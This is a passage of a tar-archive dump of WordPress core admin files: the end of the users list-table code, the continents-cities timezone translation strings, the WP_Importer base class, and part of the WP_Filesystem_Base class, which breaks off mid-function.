$action_count ) ? $sep = '' : $sep = ' | '; echo "<span class='$action'>$link$sep</span>"; } echo '</small></span><br/>'; } } ?> </td> <?php break; default: echo "<td $attributes>"; /** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */ echo apply_filters( 'manage_users_custom_column', '', $column_name, $user->ID ); echo "</td>"; break; } endforeach ?> </tr> <?php } } } continents-cities.php000077700000042725151514577750010761 0ustar00<?php /* Continent and city translations for timezone selection. * This file is not included anywhere. It exists solely for use by xgettext. */ __('Africa', 'continents-cities'); __('Abidjan', 'continents-cities'); __('Accra', 'continents-cities'); __('Addis Ababa', 'continents-cities'); __('Algiers', 'continents-cities'); __('Asmara', 'continents-cities'); __('Asmera', 'continents-cities'); __('Bamako', 'continents-cities'); __('Bangui', 'continents-cities'); __('Banjul', 'continents-cities'); __('Bissau', 'continents-cities'); __('Blantyre', 'continents-cities'); __('Brazzaville', 'continents-cities'); __('Bujumbura', 'continents-cities'); __('Cairo', 'continents-cities'); __('Casablanca', 'continents-cities'); __('Ceuta', 'continents-cities'); __('Conakry', 'continents-cities'); __('Dakar', 'continents-cities'); __('Dar es Salaam', 'continents-cities'); __('Djibouti', 'continents-cities'); __('Douala', 'continents-cities'); __('El Aaiun', 'continents-cities'); __('Freetown', 'continents-cities'); __('Gaborone', 'continents-cities'); __('Harare', 'continents-cities'); __('Johannesburg', 'continents-cities'); __('Kampala', 'continents-cities'); __('Khartoum', 'continents-cities'); __('Kigali', 'continents-cities'); __('Kinshasa', 'continents-cities'); __('Lagos', 'continents-cities'); __('Libreville', 'continents-cities'); __('Lome', 'continents-cities'); __('Luanda', 'continents-cities'); __('Lubumbashi', 'continents-cities'); __('Lusaka', 'continents-cities'); __('Malabo', 'continents-cities'); __('Maputo', 'continents-cities'); __('Maseru', 'continents-cities'); __('Mbabane', 'continents-cities'); __('Mogadishu', 'continents-cities'); __('Monrovia', 'continents-cities'); __('Nairobi', 'continents-cities'); __('Ndjamena', 'continents-cities'); __('Niamey', 'continents-cities'); __('Nouakchott', 'continents-cities'); __('Ouagadougou', 'continents-cities'); __('Porto-Novo', 'continents-cities'); __('Sao Tome', 'continents-cities'); __('Timbuktu', 'continents-cities'); __('Tripoli', 'continents-cities'); __('Tunis', 'continents-cities'); __('Windhoek', 'continents-cities'); __('America', 'continents-cities'); __('Adak', 'continents-cities'); __('Anchorage', 'continents-cities'); __('Anguilla', 'continents-cities'); __('Antigua', 'continents-cities'); __('Araguaina', 'continents-cities'); __('Argentina', 'continents-cities'); __('Buenos Aires', 'continents-cities'); __('Catamarca', 'continents-cities'); __('ComodRivadavia', 'continents-cities'); __('Cordoba', 'continents-cities'); __('Jujuy', 'continents-cities'); __('La Rioja', 'continents-cities'); __('Mendoza', 'continents-cities'); __('Rio Gallegos', 'continents-cities'); __('San Juan', 'continents-cities'); __('San Luis', 'continents-cities'); __('Tucuman', 'continents-cities'); __('Ushuaia', 'continents-cities'); __('Aruba', 'continents-cities'); __('Asuncion', 'continents-cities'); __('Atikokan', 'continents-cities'); __('Atka', 'continents-cities'); __('Bahia', 'continents-cities'); __('Barbados', 'continents-cities'); __('Belem', 'continents-cities'); __('Belize', 'continents-cities'); __('Blanc-Sablon', 'continents-cities'); __('Boa Vista', 'continents-cities'); __('Bogota', 'continents-cities'); __('Boise', 'continents-cities'); __('Cambridge Bay', 'continents-cities'); __('Campo Grande', 'continents-cities'); __('Cancun', 'continents-cities'); __('Caracas', 'continents-cities'); __('Cayenne', 'continents-cities'); __('Cayman', 'continents-cities'); __('Chicago', 'continents-cities'); __('Chihuahua', 'continents-cities'); __('Coral Harbour', 'continents-cities'); __('Costa Rica', 'continents-cities'); __('Cuiaba', 'continents-cities'); __('Curacao', 'continents-cities'); __('Danmarkshavn', 'continents-cities'); __('Dawson', 'continents-cities'); __('Dawson Creek', 'continents-cities'); __('Denver', 'continents-cities'); __('Detroit', 'continents-cities'); __('Dominica', 'continents-cities'); __('Edmonton', 'continents-cities'); __('Eirunepe', 'continents-cities'); __('El Salvador', 'continents-cities'); __('Ensenada', 'continents-cities'); __('Fort Wayne', 'continents-cities'); __('Fortaleza', 'continents-cities'); __('Glace Bay', 'continents-cities'); __('Godthab', 'continents-cities'); __('Goose Bay', 'continents-cities'); __('Grand Turk', 'continents-cities'); __('Grenada', 'continents-cities'); __('Guadeloupe', 'continents-cities'); __('Guatemala', 'continents-cities'); __('Guayaquil', 'continents-cities'); __('Guyana', 'continents-cities'); __('Halifax', 'continents-cities'); __('Havana', 'continents-cities'); __('Hermosillo', 'continents-cities'); __('Indiana', 'continents-cities'); __('Indianapolis', 'continents-cities'); __('Knox', 'continents-cities'); __('Marengo', 'continents-cities'); __('Petersburg', 'continents-cities'); __('Tell City', 'continents-cities'); __('Vevay', 'continents-cities'); __('Vincennes', 'continents-cities'); __('Winamac', 'continents-cities'); __('Inuvik', 'continents-cities'); __('Iqaluit', 'continents-cities'); __('Jamaica', 'continents-cities'); __('Juneau', 'continents-cities'); __('Kentucky', 'continents-cities'); __('Louisville', 'continents-cities'); __('Monticello', 'continents-cities'); __('Knox IN', 'continents-cities'); __('La Paz', 'continents-cities'); __('Lima', 'continents-cities'); __('Los Angeles', 'continents-cities'); __('Maceio', 'continents-cities'); __('Managua', 'continents-cities'); __('Manaus', 'continents-cities'); __('Marigot', 'continents-cities'); __('Martinique', 'continents-cities'); __('Mazatlan', 'continents-cities'); __('Menominee', 'continents-cities'); __('Merida', 'continents-cities'); __('Mexico City', 'continents-cities'); __('Miquelon', 'continents-cities'); __('Moncton', 'continents-cities'); __('Monterrey', 'continents-cities'); __('Montevideo', 'continents-cities'); __('Montreal', 'continents-cities'); __('Montserrat', 'continents-cities'); __('Nassau', 'continents-cities'); __('New York', 'continents-cities'); __('Nipigon', 'continents-cities'); __('Nome', 'continents-cities'); __('Noronha', 'continents-cities'); __('North Dakota', 'continents-cities'); __('Center', 'continents-cities'); __('New Salem', 'continents-cities'); __('Panama', 'continents-cities'); __('Pangnirtung', 'continents-cities'); __('Paramaribo', 'continents-cities'); __('Phoenix', 'continents-cities'); __('Port-au-Prince', 'continents-cities'); __('Port of Spain', 'continents-cities'); __('Porto Acre', 'continents-cities'); __('Porto Velho', 'continents-cities'); __('Puerto Rico', 'continents-cities'); __('Rainy River', 'continents-cities'); __('Rankin Inlet', 'continents-cities'); __('Recife', 'continents-cities'); __('Regina', 'continents-cities'); __('Resolute', 'continents-cities'); __('Rio Branco', 'continents-cities'); __('Rosario', 'continents-cities'); __('Santiago', 'continents-cities'); __('Santo Domingo', 'continents-cities'); __('Sao Paulo', 'continents-cities'); __('Scoresbysund', 'continents-cities'); __('Shiprock', 'continents-cities'); __('St Barthelemy', 'continents-cities'); __('St Johns', 'continents-cities'); __('St Kitts', 'continents-cities'); __('St Lucia', 'continents-cities'); __('St Thomas', 'continents-cities'); __('St Vincent', 'continents-cities'); __('Swift Current', 'continents-cities'); __('Tegucigalpa', 'continents-cities'); __('Thule', 'continents-cities'); __('Thunder Bay', 'continents-cities'); __('Tijuana', 'continents-cities'); __('Toronto', 'continents-cities'); __('Tortola', 'continents-cities'); __('Vancouver', 'continents-cities'); __('Virgin', 'continents-cities'); __('Whitehorse', 'continents-cities'); __('Winnipeg', 'continents-cities'); __('Yakutat', 'continents-cities'); __('Yellowknife', 'continents-cities'); __('Antarctica', 'continents-cities'); __('Casey', 'continents-cities'); __('Davis', 'continents-cities'); __('DumontDUrville', 'continents-cities'); __('Mawson', 'continents-cities'); __('McMurdo', 'continents-cities'); __('Palmer', 'continents-cities'); __('Rothera', 'continents-cities'); __('South Pole', 'continents-cities'); __('Syowa', 'continents-cities'); __('Vostok', 'continents-cities'); __('Arctic', 'continents-cities'); __('Longyearbyen', 'continents-cities'); __('Asia', 'continents-cities'); __('Aden', 'continents-cities'); __('Almaty', 'continents-cities'); __('Amman', 'continents-cities'); __('Anadyr', 'continents-cities'); __('Aqtau', 'continents-cities'); __('Aqtobe', 'continents-cities'); __('Ashgabat', 'continents-cities'); __('Ashkhabad', 'continents-cities'); __('Baghdad', 'continents-cities'); __('Bahrain', 'continents-cities'); __('Baku', 'continents-cities'); __('Bangkok', 'continents-cities'); __('Beirut', 'continents-cities'); __('Bishkek', 'continents-cities'); __('Brunei', 'continents-cities'); __('Calcutta', 'continents-cities'); __('Choibalsan', 'continents-cities'); __('Chongqing', 'continents-cities'); __('Chungking', 'continents-cities'); __('Colombo', 'continents-cities'); __('Dacca', 'continents-cities'); __('Damascus', 'continents-cities'); __('Dhaka', 'continents-cities'); __('Dili', 'continents-cities'); __('Dubai', 'continents-cities'); __('Dushanbe', 'continents-cities'); __('Gaza', 'continents-cities'); __('Harbin', 'continents-cities'); __('Ho Chi Minh', 'continents-cities'); __('Hong Kong', 'continents-cities'); __('Hovd', 'continents-cities'); __('Irkutsk', 'continents-cities'); __('Istanbul', 'continents-cities'); __('Jakarta', 'continents-cities'); __('Jayapura', 'continents-cities'); __('Jerusalem', 'continents-cities'); __('Kabul', 'continents-cities'); __('Kamchatka', 'continents-cities'); __('Karachi', 'continents-cities'); __('Kashgar', 'continents-cities'); __('Katmandu', 'continents-cities'); __('Kolkata', 'continents-cities'); __('Krasnoyarsk', 'continents-cities'); __('Kuala Lumpur', 'continents-cities'); __('Kuching', 'continents-cities'); __('Kuwait', 'continents-cities'); __('Macao', 'continents-cities'); __('Macau', 'continents-cities'); __('Magadan', 'continents-cities'); __('Makassar', 'continents-cities'); __('Manila', 'continents-cities'); __('Muscat', 'continents-cities'); __('Nicosia', 'continents-cities'); __('Novosibirsk', 'continents-cities'); __('Omsk', 'continents-cities'); __('Oral', 'continents-cities'); __('Phnom Penh', 'continents-cities'); __('Pontianak', 'continents-cities'); __('Pyongyang', 'continents-cities'); __('Qatar', 'continents-cities'); __('Qyzylorda', 'continents-cities'); __('Rangoon', 'continents-cities'); __('Riyadh', 'continents-cities'); __('Saigon', 'continents-cities'); __('Sakhalin', 'continents-cities'); __('Samarkand', 'continents-cities'); __('Seoul', 'continents-cities'); __('Shanghai', 'continents-cities'); __('Singapore', 'continents-cities'); __('Taipei', 'continents-cities'); __('Tashkent', 'continents-cities'); __('Tbilisi', 'continents-cities'); __('Tehran', 'continents-cities'); __('Tel Aviv', 'continents-cities'); __('Thimbu', 'continents-cities'); __('Thimphu', 'continents-cities'); __('Tokyo', 'continents-cities'); __('Ujung Pandang', 'continents-cities'); __('Ulaanbaatar', 'continents-cities'); __('Ulan Bator', 'continents-cities'); __('Urumqi', 'continents-cities'); __('Vientiane', 'continents-cities'); __('Vladivostok', 'continents-cities'); __('Yakutsk', 'continents-cities'); __('Yekaterinburg', 'continents-cities'); __('Yerevan', 'continents-cities'); __('Atlantic', 'continents-cities'); __('Azores', 'continents-cities'); __('Bermuda', 'continents-cities'); __('Canary', 'continents-cities'); __('Cape Verde', 'continents-cities'); __('Faeroe', 'continents-cities'); __('Faroe', 'continents-cities'); __('Jan Mayen', 'continents-cities'); __('Madeira', 'continents-cities'); __('Reykjavik', 'continents-cities'); __('South Georgia', 'continents-cities'); __('St Helena', 'continents-cities'); __('Stanley', 'continents-cities'); __('Australia', 'continents-cities'); __('ACT', 'continents-cities'); __('Adelaide', 'continents-cities'); __('Brisbane', 'continents-cities'); __('Broken Hill', 'continents-cities'); __('Canberra', 'continents-cities'); __('Currie', 'continents-cities'); __('Darwin', 'continents-cities'); __('Eucla', 'continents-cities'); __('Hobart', 'continents-cities'); __('LHI', 'continents-cities'); __('Lindeman', 'continents-cities'); __('Lord Howe', 'continents-cities'); __('Melbourne', 'continents-cities'); __('North', 'continents-cities'); __('NSW', 'continents-cities'); __('Perth', 'continents-cities'); __('Queensland', 'continents-cities'); __('South', 'continents-cities'); __('Sydney', 'continents-cities'); __('Tasmania', 'continents-cities'); __('Victoria', 'continents-cities'); __('West', 'continents-cities'); __('Yancowinna', 'continents-cities'); __('Etc', 'continents-cities'); __('GMT', 'continents-cities'); __('GMT+0', 'continents-cities'); __('GMT+1', 'continents-cities'); __('GMT+10', 'continents-cities'); __('GMT+11', 'continents-cities'); __('GMT+12', 'continents-cities'); __('GMT+2', 'continents-cities'); __('GMT+3', 'continents-cities'); __('GMT+4', 'continents-cities'); __('GMT+5', 'continents-cities'); __('GMT+6', 'continents-cities'); __('GMT+7', 'continents-cities'); __('GMT+8', 'continents-cities'); __('GMT+9', 'continents-cities'); __('GMT-0', 'continents-cities'); __('GMT-1', 'continents-cities'); __('GMT-10', 'continents-cities'); __('GMT-11', 'continents-cities'); __('GMT-12', 'continents-cities'); __('GMT-13', 'continents-cities'); __('GMT-14', 'continents-cities'); __('GMT-2', 'continents-cities'); __('GMT-3', 'continents-cities'); __('GMT-4', 'continents-cities'); __('GMT-5', 'continents-cities'); __('GMT-6', 'continents-cities'); __('GMT-7', 'continents-cities'); __('GMT-8', 'continents-cities'); __('GMT-9', 'continents-cities'); __('GMT0', 'continents-cities'); __('Greenwich', 'continents-cities'); __('UCT', 'continents-cities'); __('Universal', 'continents-cities'); __('UTC', 'continents-cities'); __('Zulu', 'continents-cities'); __('Europe', 'continents-cities'); __('Amsterdam', 'continents-cities'); __('Andorra', 'continents-cities'); __('Athens', 'continents-cities'); __('Belfast', 'continents-cities'); __('Belgrade', 'continents-cities'); __('Berlin', 'continents-cities'); __('Bratislava', 'continents-cities'); __('Brussels', 'continents-cities'); __('Bucharest', 'continents-cities'); __('Budapest', 'continents-cities'); __('Chisinau', 'continents-cities'); __('Copenhagen', 'continents-cities'); __('Dublin', 'continents-cities'); __('Gibraltar', 'continents-cities'); __('Guernsey', 'continents-cities'); __('Helsinki', 'continents-cities'); __('Isle of Man', 'continents-cities'); __('Jersey', 'continents-cities'); __('Kaliningrad', 'continents-cities'); __('Kiev', 'continents-cities'); __('Lisbon', 'continents-cities'); __('Ljubljana', 'continents-cities'); __('London', 'continents-cities'); __('Luxembourg', 'continents-cities'); __('Madrid', 'continents-cities'); __('Malta', 'continents-cities'); __('Mariehamn', 'continents-cities'); __('Minsk', 'continents-cities'); __('Monaco', 'continents-cities'); __('Moscow', 'continents-cities'); __('Oslo', 'continents-cities'); __('Paris', 'continents-cities'); __('Podgorica', 'continents-cities'); __('Prague', 'continents-cities'); __('Riga', 'continents-cities'); __('Rome', 'continents-cities'); __('Samara', 'continents-cities'); __('San Marino', 'continents-cities'); __('Sarajevo', 'continents-cities'); __('Simferopol', 'continents-cities'); __('Skopje', 'continents-cities'); __('Sofia', 'continents-cities'); __('Stockholm', 'continents-cities'); __('Tallinn', 'continents-cities'); __('Tirane', 'continents-cities'); __('Tiraspol', 'continents-cities'); __('Uzhgorod', 'continents-cities'); __('Vaduz', 'continents-cities'); __('Vatican', 'continents-cities'); __('Vienna', 'continents-cities'); __('Vilnius', 'continents-cities'); __('Volgograd', 'continents-cities'); __('Warsaw', 'continents-cities'); __('Zagreb', 'continents-cities'); __('Zaporozhye', 'continents-cities'); __('Zurich', 'continents-cities'); __('Indian', 'continents-cities'); __('Antananarivo', 'continents-cities'); __('Chagos', 'continents-cities'); __('Christmas', 'continents-cities'); __('Cocos', 'continents-cities'); __('Comoro', 'continents-cities'); __('Kerguelen', 'continents-cities'); __('Mahe', 'continents-cities'); __('Maldives', 'continents-cities'); __('Mauritius', 'continents-cities'); __('Mayotte', 'continents-cities'); __('Reunion', 'continents-cities'); __('Pacific', 'continents-cities'); __('Apia', 'continents-cities'); __('Auckland', 'continents-cities'); __('Chatham', 'continents-cities'); __('Easter', 'continents-cities'); __('Efate', 'continents-cities'); __('Enderbury', 'continents-cities'); __('Fakaofo', 'continents-cities'); __('Fiji', 'continents-cities'); __('Funafuti', 'continents-cities'); __('Galapagos', 'continents-cities'); __('Gambier', 'continents-cities'); __('Guadalcanal', 'continents-cities'); __('Guam', 'continents-cities'); __('Honolulu', 'continents-cities'); __('Johnston', 'continents-cities'); __('Kiritimati', 'continents-cities'); __('Kosrae', 'continents-cities'); __('Kwajalein', 'continents-cities'); __('Majuro', 'continents-cities'); __('Marquesas', 'continents-cities'); __('Midway', 'continents-cities'); __('Nauru', 'continents-cities'); __('Niue', 'continents-cities'); __('Norfolk', 'continents-cities'); __('Noumea', 'continents-cities'); __('Pago Pago', 'continents-cities'); __('Palau', 'continents-cities'); __('Pitcairn', 'continents-cities'); __('Ponape', 'continents-cities'); __('Port Moresby', 'continents-cities'); __('Rarotonga', 'continents-cities'); __('Saipan', 'continents-cities'); __('Samoa', 'continents-cities'); __('Tahiti', 'continents-cities'); __('Tarawa', 'continents-cities'); __('Tongatapu', 'continents-cities'); __('Truk', 'continents-cities'); __('Wake', 'continents-cities'); __('Wallis', 'continents-cities'); __('Yap', 'continents-cities'); class-wp-importer.php000077700000015206151514577750010701 0ustar00<?php /** * WP_Importer base class */ class WP_Importer { /** * Class Constructor * * @return void */ function __construct() {} /** * Returns array with imported permalinks from WordPress database * * @param string $bid * @return array */ function get_imported_posts( $importer_name, $bid ) { global $wpdb; $hashtable = array(); $limit = 100; $offset = 0; // Grab all posts in chunks do { $meta_key = $importer_name . '_' . $bid . '_permalink'; $sql = $wpdb->prepare( "SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = '%s' LIMIT %d,%d", $meta_key, $offset, $limit ); $results = $wpdb->get_results( $sql ); // Increment offset $offset = ( $limit + $offset ); if ( !empty( $results ) ) { foreach ( $results as $r ) { // Set permalinks into array $hashtable[$r->meta_value] = intval( $r->post_id ); } } } while ( count( $results ) == $limit ); // unset to save memory unset( $results, $r ); return $hashtable; } /** * Return count of imported permalinks from WordPress database * * @param string $bid * @return int */ function count_imported_posts( $importer_name, $bid ) { global $wpdb; $count = 0; // Get count of permalinks $meta_key = $importer_name . '_' . $bid . '_permalink'; $sql = $wpdb->prepare( "SELECT COUNT( post_id ) AS cnt FROM $wpdb->postmeta WHERE meta_key = '%s'", $meta_key ); $result = $wpdb->get_results( $sql ); if ( !empty( $result ) ) $count = intval( $result[0]->cnt ); // unset to save memory unset( $results ); return $count; } /** * Set array with imported comments from WordPress database * * @param string $bid * @return array */ function get_imported_comments( $bid ) { global $wpdb; $hashtable = array(); $limit = 100; $offset = 0; // Grab all comments in chunks do { $sql = $wpdb->prepare( "SELECT comment_ID, comment_agent FROM $wpdb->comments LIMIT %d,%d", $offset, $limit ); $results = $wpdb->get_results( $sql ); // Increment offset $offset = ( $limit + $offset ); if ( !empty( $results ) ) { foreach ( $results as $r ) { // Explode comment_agent key list ( $ca_bid, $source_comment_id ) = explode( '-', $r->comment_agent ); $source_comment_id = intval( $source_comment_id ); // Check if this comment came from this blog if ( $bid == $ca_bid ) { $hashtable[$source_comment_id] = intval( $r->comment_ID ); } } } } while ( count( $results ) == $limit ); // unset to save memory unset( $results, $r ); return $hashtable; } function set_blog( $blog_id ) { if ( is_numeric( $blog_id ) ) { $blog_id = (int) $blog_id; } else { $blog = 'http://' . preg_replace( '#^https?://#', '', $blog_id ); if ( ( !$parsed = parse_url( $blog ) ) || empty( $parsed['host'] ) ) { fwrite( STDERR, "Error: can not determine blog_id from $blog_id\n" ); exit(); } if ( empty( $parsed['path'] ) ) $parsed['path'] = '/'; $blog = get_blog_details( array( 'domain' => $parsed['host'], 'path' => $parsed['path'] ) ); if ( !$blog ) { fwrite( STDERR, "Error: Could not find blog\n" ); exit(); } $blog_id = (int) $blog->blog_id; } if ( function_exists( 'is_multisite' ) ) { if ( is_multisite() ) switch_to_blog( $blog_id ); } return $blog_id; } function set_user( $user_id ) { if ( is_numeric( $user_id ) ) { $user_id = (int) $user_id; } else { $user_id = (int) username_exists( $user_id ); } if ( !$user_id || !wp_set_current_user( $user_id ) ) { fwrite( STDERR, "Error: can not find user\n" ); exit(); } return $user_id; } /** * Sort by strlen, longest string first * * @param string $a * @param string $b * @return int */ function cmpr_strlen( $a, $b ) { return strlen( $b ) - strlen( $a ); } /** * GET URL * * @param string $url * @param string $username * @param string $password * @param bool $head * @return array */ function get_page( $url, $username = '', $password = '', $head = false ) { // Increase the timeout add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) ); $headers = array(); $args = array(); if ( true === $head ) $args['method'] = 'HEAD'; if ( !empty( $username ) && !empty( $password ) ) $headers['Authorization'] = 'Basic ' . base64_encode( "$username:$password" ); $args['headers'] = $headers; return wp_safe_remote_request( $url, $args ); } /** * Bump up the request timeout for http requests * * @param int $val * @return int */ function bump_request_timeout( $val ) { return 60; } /** * Check if user has exceeded disk quota * * @return bool */ function is_user_over_quota() { if ( function_exists( 'upload_is_user_over_quota' ) ) { if ( upload_is_user_over_quota( 1 ) ) { echo "Sorry, you have used your upload quota.\n"; return true; } } return false; } /** * Replace newlines, tabs, and multiple spaces with a single space * * @param string $string * @return string */ function min_whitespace( $string ) { return preg_replace( '|[\r\n\t ]+|', ' ', $string ); } /** * Reset global variables that grow out of control during imports * * @return void */ function stop_the_insanity() { global $wpdb, $wp_actions; // Or define( 'WP_IMPORTING', true ); $wpdb->queries = array(); // Reset $wp_actions to keep it from growing out of control $wp_actions = array(); } } /** * Returns value of command line params. * Exits when a required param is not set. * * @param string $param * @param bool $required * @return mixed */ function get_cli_args( $param, $required = false ) { $args = $_SERVER['argv']; $out = array(); $last_arg = null; $return = null; $il = sizeof( $args ); for ( $i = 1, $il; $i < $il; $i++ ) { if ( (bool) preg_match( "/^--(.+)/", $args[$i], $match ) ) { $parts = explode( "=", $match[1] ); $key = preg_replace( "/[^a-z0-9]+/", "", $parts[0] ); if ( isset( $parts[1] ) ) { $out[$key] = $parts[1]; } else { $out[$key] = true; } $last_arg = $key; } else if ( (bool) preg_match( "/^-([a-zA-Z0-9]+)/", $args[$i], $match ) ) { for ( $j = 0, $jl = strlen( $match[1] ); $j < $jl; $j++ ) { $key = $match[1]{$j}; $out[$key] = true; } $last_arg = $key; } else if ( $last_arg !== null ) { $out[$last_arg] = $args[$i]; } } // Check array for specified param if ( isset( $out[$param] ) ) { // Set return value $return = $out[$param]; } // Check for missing required param if ( !isset( $out[$param] ) && $required ) { // Display message and exit echo "\"$param\" parameter is required but was not specified\n"; exit(); } return $return; } class-wp-filesystem-base.php000077700000051530151514577750012134 0ustar00<?php /** * Base WordPress Filesystem * * @package WordPress * @subpackage Filesystem */ /** * Base WordPress Filesystem class for which Filesystem implementations extend * * @since 2.5.0 */ class WP_Filesystem_Base { /** * Whether to display debug data for the connection. * * @access public * @since 2.5.0 * @var bool */ var $verbose = false; /** * Cached list of local filepaths to mapped remote filepaths. * * @access private * @since 2.7.0 * @var array */ var $cache = array(); /** * The Access method of the current connection, Set automatically. * * @access public * @since 2.5.0 * @var string */ var $method = ''; /** * Constructor (empty). */ function __construct() {} /** * Return the path on the remote filesystem of ABSPATH. * * @access public * @since 2.7.0 * * @return string The location of the remote path. */ function abspath() { $folder = $this->find_folder(ABSPATH); // Perhaps the FTP folder is rooted at the WordPress install, Check for wp-includes folder in root, Could have some false positives, but rare. if ( ! $folder && $this->is_dir('/wp-includes') ) $folder = '/'; return $folder; } /** * Return the path on the remote filesystem of WP_CONTENT_DIR. * * @access public * @since 2.7.0 * * @return string The location of the remote path. */ function wp_content_dir() { return $this->find_folder(WP_CONTENT_DIR); } /** * Return the path on the remote filesystem of WP_PLUGIN_DIR. * * @access public * @since 2.7.0 * * @return string The location of the remote path. */ function wp_plugins_dir() { return $this->find_folder(WP_PLUGIN_DIR); } /** * Return the path on the remote filesystem of the Themes Directory. * * @access public * @since 2.7.0 * * @param string $theme The Theme stylesheet or template for the directory. * @return string The location of the remote path. */ function wp_themes_dir( $theme = false ) { $theme_root = get_theme_root( $theme ); // Account for relative theme roots if ( '/themes' == $theme_root || ! is_dir( $theme_root ) ) $theme_root = WP_CONTENT_DIR . $theme_root; return $this->find_folder( $theme_root ); } /** * Return the path on the remote filesystem of WP_LANG_DIR. * * @access public * @since 3.2.0 * * @return string The location of the remote path. */ function wp_lang_dir() { return $this->find_folder(WP_LANG_DIR); } /** * Locate a folder on the remote filesystem. * * @access public * @since 2.5.0 * @deprecated 2.7.0 use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() instead. * @see WP_Filesystem::abspath() * @see WP_Filesystem::wp_content_dir() * @see WP_Filesystem::wp_plugins_dir() * @see WP_Filesystem::wp_themes_dir() * @see WP_Filesystem::wp_lang_dir() * * @param string $base The folder to start searching from. * @param bool $echo True to display debug information. * Default false. * @return string The location of the remote path. */ function find_base_dir( $base = '.', $echo = false ) { _deprecated_function(__FUNCTION__, '2.7', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' ); $this->verbose = $echo; return $this->abspath(); } /** * Locate a folder on the remote filesystem. * * @access public * @since 2.5.0 * @deprecated 2.7.0 use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() methods instead. * @see WP_Filesystem::abspath() * @see WP_Filesystem::wp_content_dir() * @see WP_Filesystem::wp_plugins_dir() * @see WP_Filesystem::wp_themes_dir() * @see WP_Filesystem::wp_lang_dir() * * @param string $base The folder to start searching from. * @param bool $echo True to display debug information. * @return string The location of the remote path. */ function get_base_dir( $base = '.', $echo = false ) { _deprecated_function(__FUNCTION__, '2.7', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' ); $this->verbose = $echo; return $this->abspath(); } /** * Locate a folder on the remote filesystem. * * Assumes that on Windows systems, Stripping off the Drive * letter is OK Sanitizes \\ to / in windows filepaths. * * @access public * @since 2.7.0 * * @param string $folder the folder to locate. * @return string The location of the remote path. */ function find_folder( $folder ) { if ( isset( $this->cache[ $folder ] ) ) return $this->cache[ $folder ]; if ( stripos($this->method, 'ftp') !== false ) { $constant_overrides = array( 'FTP_BASE' => ABSPATH, 'FTP_CONTENT_DIR' => WP_CONTENT_DIR, 'FTP_PLUGIN_DIR' => WP_PLUGIN_DIR, 'FTP_LANG_DIR' => WP_LANG_DIR ); // Direct matches ( folder = CONSTANT/ ) foreach ( $constant_overrides as $constant => $dir ) { if ( ! defined( $constant ) ) continue; if ( $folder === $dir ) return trailingslashit( constant( $constant ) ); } // Prefix Matches ( folder = CONSTANT/subdir ) foreach ( $constant_overrides as $constant => $dir ) { if ( ! defined( $constant ) ) continue; if ( 0 === stripos( $folder, $dir ) ) { // $folder starts with $dir $potential_folder = preg_replace( '#^' . preg_quote( $dir, '#' ) . '/#i', trailingslashit( constant( $constant ) ), $folder ); $potential_folder = trailingslashit( $potential_folder ); if ( $this->is_dir( $potential_folder ) ) { $this->cache[ $folder ] = $potential_folder; return $potential_folder; } } } } elseif ( 'direct' == $this->method ) { $folder = str_replace('\\', '/', $folder); // Windows path sanitisation return trailingslashit($folder); } $folder = preg_replace('|^([a-z]{1}):|i', '', $folder); // Strip out windows drive letter if it's there. $folder = str_replace('\\', '/', $folder); // Windows path sanitisation if ( isset($this->cache[ $folder ] ) ) return $this->cache[ $folder ]; if ( $this->exists($folder) ) { // Folder exists at that absolute path. $folder = trailingslashit($folder); $this->cache[ $folder ] = $folder; return $folder; } if ( $return = $this->search_for_folder($folder) ) $this->cache[ $folder ] = $return; return $return; } /** * Locate a folder on the remote filesystem. * * Expects Windows sanitized path. * * @access private * @since 2.7.0 * * @param string $folder The folder to locate. * @param string $base The folder to start searching from. * @param bool $loop If the function has recursed, Internal use only. * @return string The location of the remote path. */ function search_for_folder( $folder, $base = '.', $loop = false ) { if ( empty( $base ) || '.' == $base ) $base = trailingslashit($this->cwd()); $folder = untrailingslashit($folder); if ( $this->verbose ) printf( "\n" . __('Looking for %1$s in %2$s') . "<br/>\n", $folder, $base ); $folder_parts = explode('/', $folder); $folder_part_keys = array_keys( $folder_parts ); $last_index = array_pop( $folder_part_keys ); $last_path = $folder_parts[ $last_index ]; $files = $this->dirlist( $base ); foreach ( $folder_parts as $index => $key ) { if ( $index == $last_index ) continue; // We want this to be caught by the next code block. // Working from /home/ to /user/ to /wordpress/ see if that file exists within the current folder, // If it's found, change into it and follow through looking for it. // If it cant find WordPress down that route, it'll continue onto the next folder level, and see if that matches, and so on. // If it reaches the end, and still cant find it, it'll return false for the entire function. if ( isset($files[ $key ]) ){ // Lets try that folder: $newdir = trailingslashit(path_join($base, $key)); if ( $this->verbose ) printf( "\n" . __('Changing to %s') . "<br/>\n", $newdir ); // only search for the remaining path tokens in the directory, not the full path again $newfolder = implode( '/', array_slice( $folder_parts, $index + 1 ) ); if ( $ret = $this->search_for_folder( $newfolder, $newdir, $loop) ) return $ret; } } // Only check this as a last resort, to prevent locating the incorrect install. All above procedures will fail quickly if this is the right branch to take. if (isset( $files[ $last_path ] ) ) { if ( $this->verbose ) printf( "\n" . __('Found %s') . "<br/>\n", $base . $last_path ); return trailingslashit($base . $last_path); } // Prevent this function from looping again. // No need to proceed if we've just searched in / if ( $loop || '/' == $base ) return false; // As an extra last resort, Change back to / if the folder wasn't found. // This comes into effect when the CWD is /home/user/ but WP is at /var/www/.... return $this->search_for_folder( $folder, '/', true ); } /** * Return the *nix-style file permissions for a file. * * From the PHP documentation page for fileperms(). * * @link http://docs.php.net/fileperms * * @access public * @since 2.5.0 * * @param string $file String filename. * @return string The *nix-style representation of permissions. */ function gethchmod( $file ){ $perms = $this->getchmod($file); if (($perms & 0xC000) == 0xC000) // Socket $info = 's'; elseif (($perms & 0xA000) == 0xA000) // Symbolic Link $info = 'l'; elseif (($perms & 0x8000) == 0x8000) // Regular $info = '-'; elseif (($perms & 0x6000) == 0x6000) // Block special $info = 'b'; elseif (($perms & 0x4000) == 0x4000) // Directory $info = 'd'; elseif (($perms & 0x2000) == 0x2000) // Character special $info = 'c'; elseif (($perms & 0x1000) == 0x1000) // FIFO pipe $info = 'p'; else // Unknown $info = 'u'; // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 